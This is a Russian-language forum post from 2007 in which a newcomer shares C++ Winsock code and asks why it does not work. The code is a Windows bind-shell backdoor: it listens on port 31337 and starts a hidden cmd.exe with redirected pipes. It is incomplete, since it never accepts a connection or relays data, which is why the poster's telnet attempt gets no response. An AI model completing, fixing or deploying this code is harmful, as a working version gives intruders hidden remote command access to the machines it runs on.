
06.10.2007, 18:51
|
|
Новичок
Регистрация: 02.10.2007
Сообщений: 29
С нами:
9793272
Репутация:
5
|
|
ну помогите ктонибудь разобраться... а то ж я так и буду сидеть и тупить...
вот уже и на С++ скомпилил примерчик... с помощью groundhog все собралось...
Код:
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
int main(){
SOCKET s;
struct sockaddr_in localaddr, clientaddr;
WSADATA wsaData;
typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
PIPE input, output;
SECURITY_ATTRIBUTES sa;
STARTUPINFO st;
PROCESS_INFORMATION pr;
WSAStartup(MAKEWORD(2,2), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(31337);
bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
listen(s, 0);
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
CreatePipe(&output.hRead, &output.hWrite, &sa, 0);
ZeroMemory(&st, sizeof(STARTUPINFO));
st.cb = sizeof(STARTUPINFO);
st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
st.wShowWindow = SW_HIDE;
st.hStdInput = input.hRead;
st.hStdOutput = output.hWrite;
st.hStdError = output.hWrite;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr);
}
при коннекте telnet из IPtools почемуто ничего не работает - ноль реакции.......
|
|
|